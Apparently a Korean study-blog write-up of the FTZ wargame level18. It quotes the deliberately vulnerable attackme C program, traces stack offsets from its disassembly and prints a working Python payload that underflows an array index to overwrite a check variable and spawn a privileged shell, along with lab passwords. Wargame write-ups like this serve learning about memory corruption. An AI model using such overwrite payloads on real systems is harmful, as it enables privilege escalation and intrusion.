일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- graphql with reactnative
- 신촌 소문난집
- graphql react native
- 금별맥주
- 홍대 예술
- 잠실새내
- 토라비
- 잠실새내 도그존
- apollo react native
- 홍대 카페 장쌤
- 고르드
- 홍대 토라비
- 예쁜술집 예술
- graphql
- promise메서드
- 비동기배열처리방법
- 앙버터마카롱
- 운정 소바동
- typescript
- 비동기배열
- graphql 400
- 화이트해커를 위한 웹 해킹의 기술
- apolloclient
- 화이트 해커를 위한 웹 해킹의 기술
- 도그존
- graphql mutation error
- 지보싶 신촌점
- useMutation error
- graphql with RN
- promise처리
- Today
- Total
yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆
FTZ level18 풀이 본문
id: level18
pw: why did you do it
hint를 읽었더니 attackme 파일의 코드가 나왔다.
좀 많이 길어서 주석을 달아보았당
//attackme code
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
char string[100];
int check;
int x = 0;
int count = 0;
fd_set fds; //구조체 선언
printf("Enter your command: ");
fflush(stdout);//표준 출력버퍼 비움
while(1)
{
if(count >= 100)
printf("what are you trying to do?\n");
if(check == 0xdeadbeef) //check에 0xdeadbeef가 들어가면 level19 쉘 띄워짐
shellout();
else
{
FD_ZERO(&fds); //인자로 전달된 주소의 fd_set형 변수의 모든 비트를 0으로 초기화한다.
FD_SET(STDIN_FILENO,&fds); //전달된 주소의 변수에 STDIN_FILENO(파일디스크립터 정보)를 등록
if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1) //변화가 발생한 파일 디스크립터에 해당하는 비트는 1이 된다.
//한마디로 파일디스크립터에 변화가 1개 이상 발생했을 때 조건문 실행
//FD_SETSIZE=검사 대상이 되는 파일 디스크립터 수,
//fds=수신된 데이터 존재 여부에 관심있는 파일 디스크립터 정보를 모두 등록해서 그 변수의 주소 값을 전달
{
if(FD_ISSET(fileno(stdin),&fds)) //fds에 fileno(stdin-표준 입력)으로 전달된 정보가 있으면 양수를 반환
{
read(fileno(stdin),&x,1); //fileno(stdin)=데이터 수신 대상을 나타내는 파일 디스크립터, 1byte를 읽어 x에 저장
switch(x)
{
case '\r': //x가 \r이나 \n이면 \a 출력
case '\n':
printf("\a");
break;
case 0x08: //x가 0x08이면 count --
count--;
printf("\b \b");
break;
default: //그 외에는 모두 string에 x를 저장하고 count ++
string[count] = x;
count++;
break;
}
}
}
}
}
}
void shellout(void)
{
setreuid(3099,3099);
execl("/bin/sh","sh",NULL);
}
//fileno = fdopen의 반대 기능, int fileno(FILE *stream) ,
//인자로 FILE 포인터를 전달하면, 해당 파일의 디스크립터를 반환
파일디스크립터: 프로그램에서 보조 기억 장치에 있는 파일에 접근하는 데 이용하는 여러가지 파일 정보를 담고 있는 자료 구조
int 타입으로 선언되는 고유 식별 번호를 가짐, 0: stdout, 1: stdin, 2: stderr
attackme는 우리가 입력한 문자를 1바이트씩 읽어서 x에 저장 후 x값이 '\r'이나 '\n'이 입력되면 '\a'를 출력하고
'\x08'이면 count--를 해주고 "\b \b"를 출력
그 외에는 x를 string[count]에 입력한다.
shellout 함수는 level19권한의 쉘을 띄워주는 함수로 check==0xdeadbeef 일 때 실행된다.
따라서 우리는 check에 0xdeadbeef를 입력해야만 shell을 띄울 수 있다.
check와 다른 변수들의 스택 상의 위치를 알아내기 위해 attackme의 main을 디스어셈블해주었다. (엄청 길다ㅎ...)
main+3: stack을 256바이트 확장
main+72: ebp-112 값과 0x63 비교 jle(jump if less or equal)
-> ebp-112의 값이 99(0x63)보다 작거나 같으면, if(count>=100)조건에 걸리지 않으면 main+91로 점프
따라서 ebp-112=count
main+91: ebp-104 값과 0xdeadbeef 비교, jne(jump if not equal) = ebp-104의 값이 0xdeadbeef가 아니면 main+112로 점프, 같으면 shellout함수 호출
따라서 ebp-104=check
이해 안되는 부분: main+152~main+162
main+171~main+175: select의 인자 NULL 3개 스택에 push
main+177~195: ecx에 ebp-240주소 대입, ebp-252에 ecx 값(ebp-240 주소)을 대입, edi에 ebp-252의 값(ecx,ebp-240주소)을 대입, edi를 스택에 push (edi가 &fds, ebp-240=&fds)
main+196: 0x400 push, 0x400=FD_SETSIZE
main+201: select 함수 호출
main+353~368: ebp-108의 주소를 eax에 대입, ebp-252에 eax 대입, ecx에 ebp-252 대입, ecx push = ebp-108의 주소를 stack에 push
ebp-108=x
main+426: 0xa='\r'
main+455: 0xd='\n'
main+442: jg(jump if greater) x값이 0xa 보다 크면 jmp main+455
main+499~main+535: edx+ecx (string[count])에 x 값 대입, count++, ebp-100=string[] 시작 주소
변수들의 상대적인 위치정보를 스택으로 나타내면 다음과 같다.
우리는 check에 0xdeadbeef를 입력해야 하는데, check는 string보다 4바이트 아래에 존재한다.
따라서 count를 조작해서 ebp-104(string[]-4)인 check에 0xdeadbeef를 쓸 수 있게 한다.
count가 -4가 되어야 하기 때문에 0x08을 4번 입력하면 count가 -4가 된다. (count-- 4번 실행)
count가 음수면 안된다는 조건은 없기 때문에 가능!
payload: (python -c 'print "\x08"*4+"\xef\xbe\xad\xde"';cat)|./attackme
-표준 입출력을 이용해 값을 입력하기 때문에 파이프라인으로 값을 넘겨준다.
level19의 pw: "swimming in pink"
'wargame 풀이 > FTZ' 카테고리의 다른 글
FTZ level20 풀이 (0) | 2020.12.30 |
---|---|
FTZ level19 풀이 (0) | 2020.10.06 |
FTZ level17 풀이 (0) | 2020.09.30 |
FTZ level16 풀이 (0) | 2020.09.30 |
FTZ level15 풀이 (0) | 2020.09.29 |